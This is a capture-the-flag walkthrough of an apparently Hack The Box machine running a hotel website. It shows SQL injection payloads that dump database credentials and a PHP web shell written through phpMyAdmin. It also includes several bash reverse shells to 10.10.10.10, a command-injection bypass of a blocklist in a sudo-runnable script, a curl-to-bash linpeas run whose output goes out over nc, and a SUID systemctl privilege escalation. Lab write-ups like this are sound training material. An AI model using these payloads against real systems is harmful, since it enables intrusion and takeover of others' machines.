Recon
$ nmap -sSV -p- -oA init_nmap 10.129.229.137
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-22 20:36 -0400
Nmap scan report for 10.129.229.137
Host is up (0.062s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
64999/tcp http
Navigating to port 64999 immediately throws a Hey you have been banned for 90 seconds, don't be bad
80/tcp http
We see a landing page for STARK HOTEL. In the header, we see a reference to supersecurehotel.htb which I add to /etc/hosts.
There's a /room.php?cod=1 that might be susceptible to injection.
The source code shows /js, /css, /images which have active directory browsing on.
Nothing immediately interesting here, no interesting looking files in the root directories.
$ gobuster dir -u http://supersecurehotel.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o gobuster_dirs_80.txt
This gobuster command reveals an additional directory, phpmyadmin. This appears to be on v4.8.0 per the asset files being retrieved. It also does not use the default root:<null> credentials and throws a forbidden error. I tried a few other default combos involving root, mysql. It throws an mysqli_real_connect() error, indicating there is mysql running here.
$ searchsploit phpmyadmin 4.8.0 reveals a CSRF vulnerability on /sql.php against a logged in user.
The network panel also reveals IronWAF 2.0.3 in a response header. wafw00f -a does not detect it.
I also ran an additional vhost enumeraition, filtering out length 422 as a failure due to the number of responses the first test recieved:
$ gobuster vhost -u http://supersecurehotel.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -xl 422 -o gobuster_vhost_80.txt
No results from this.
Back to the injection on room.php, by manually adding digits to a SELECT, we begin to see them appear on screen in the UI.
room.php?cod=7 UNION SELECT 1,2,3,4,5,6,7;-- - reveals 5, 2, 3, 4 in top to bottom for the card. Looking into the source, that's rate-star, price, the room title, and the room description.
We can use one of these output fields to get information back out. I ahve used string_agg before in PostgreSQL. MySQL has a GROUP_CONCAT to get multiple rows of data in a comma delimited string.
| Command | Output |
|---|---|
/room.php?cod=7 UNION SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6,7 from information_schema.schemata;-- |
hotel,information_schema,mysql,performance_schema |
/room.php?cod=7 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 from information_schema.tables;-- |
room (and other omitted sys tables) |
/room.php?cod=7 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 from information_schema.columns where table_name='room';-- |
cod,name,price,descrip,star,image,mini |
/room.php?cod=7 UNION SELECT 1,GROUP_CONCAT(user),3,4,5,6,7 from mysql.user-- |
DBadmin |
/room.php?cod=7 UNION SELECT 1,GROUP_CONCAT(password),3,4,5,6,7 from mysql.user-- |
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 |
I threw that hash into Crackstation and it was revealed as imissyou. We are able to use these creds against phpmyadmin.
Initial Access
While not on the machine itself, we do have our first set of credentials against a service. I first tested SELECT load_file('/etc/passwd') which returns BLOB. By clicking the +Options link just above the output, we can check Show BLOB contents and Show FULL text and hit go to output our file.
The most notable users are root, www-data, pepper, and mysql.
I think the next best method is to identify where the main site is, and drop a php reverse shell so we can gain access. I assume it's likely somewhere around /var/www/html. select load_file('/var/www/html/index.php') reveals the code for the main Stark Hotel site, so it appears we can drop a file right here. I start a listener on 4444, then phpmyadmin, we can run:
select '<?php exec("/bin/bash -c ''bash -i >& /dev/tcp/10.10.10.10/4444 0>&1''");' INTO OUTFILE '/var/www/html/shell.php'
By simply visiting http://supersecurehotel.htb/shell.php, our reverse shell connects as www-data.
Lateral Movement
Now as www-data, we spawn in /var/www/html. I run the series of commands to switch from a dumb shell to interactive shell. I see the /b4nn3d/index.html was just a basic file with the message. This port apparently was just a honeypot. We can find the configuration with grep -rnw "b4nn3d" /etc 2>/dev/null, which is revealed as /etc/apache2/sites-available/ban-redirect.conf
Running psaux, the most notable file I see running is python3 /root/sqli_defender.py.
I ran several find commands for searching for dbs, credentials, a python files. The python files found the most interesting.
$ find / -name '*.py' ! -path '/usr/lib/python*' ! -path '/usr/share/*' 2>/dev/null
/var/www/Admin-Utilities/simpler.py
/etc/python3.5/sitecustomize.py
/etc/python2.7/sitecustomize.py
sudo -l also shows we can run this file as pepper. It's atypical for www-data to have access to any sudo commands.
The simpler.py file is owned by pepper, we only have read access to it. We can still execute it with python3 simpler.py. One particular function stands out as it uses os.system. We have to craft a specific command to bypass though as it will catch common redirectors.
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
I tested with %0d and %0a for new lines, but nothing gets returned to the screen. The $ character is not blocked, however.
I create a file under /tmp/test.sh
$ echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.10.10/4443 0>&1' > /tmp/test.sh
$ chmod +x /tmp/test.sh
Then we can run sudo -u pepper /var/www/Admin-Utilities/simpler.py -p and pass $(/tmp/test.sh) as our IP to get a reverse shell.
Priv to pepper
We grab the first user flag here in pepper's home dir. There's a file here /Web/Logs/10.10.10.10.txt which shows some of the activity I was doing in PHPMyAdmin. I believe this is the /root/sqli_defender.py that was running earlier. It's owned by root.
Let's try getting linpeas running to determine what we have
# in one tab on the attack box, where linpeas is, start a server
kali@kali:/usr/share/peass/linpeas$ python -m http.server
# in another tab, in our evidence folder, set up a listener for the linpeas
kali@kali:~/Desktop/htb/jarvis$ nc -lvnp 4442 > linpeas.log
# on the victim, run linpeas in memory and send right back to attackbox
pepper@jarvis:~$ wget -qO- http://10.10.10.10:8000/linpeas.sh | bash | nc 10.10.10.10 4442
An interesting bit is under the SUID section.
-rwsr-x--- 1 root pepper 171K Jun 29 2022 /bin/systemctl
This application has pepper as executable and the suid bit set for root. I found an easy payload on GitHub for this. Essentially, we create a service file then start the service. Start a listener using nc -lvnp 4442 on the attack box first. I already had swapped my dumb shell into an interactive tty.
$ nano /dev/shm/root.service
[Unit]
Description=root
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4442 0>&1'
[Install]
WantedBy=multi-user.target
$ /bin/systemctl enable /dev/shm/root.service
$ /bin/systemctl start root
Root
And, voila! Shell as root on our 4442 listener!
Conclusion
A pretty good box! The initial jump from www-data to pepper took the longest for me because of the custom code requried for exploitation. Going from pepper to root using the suid was relatively easy due to the information available only about SUID abuse.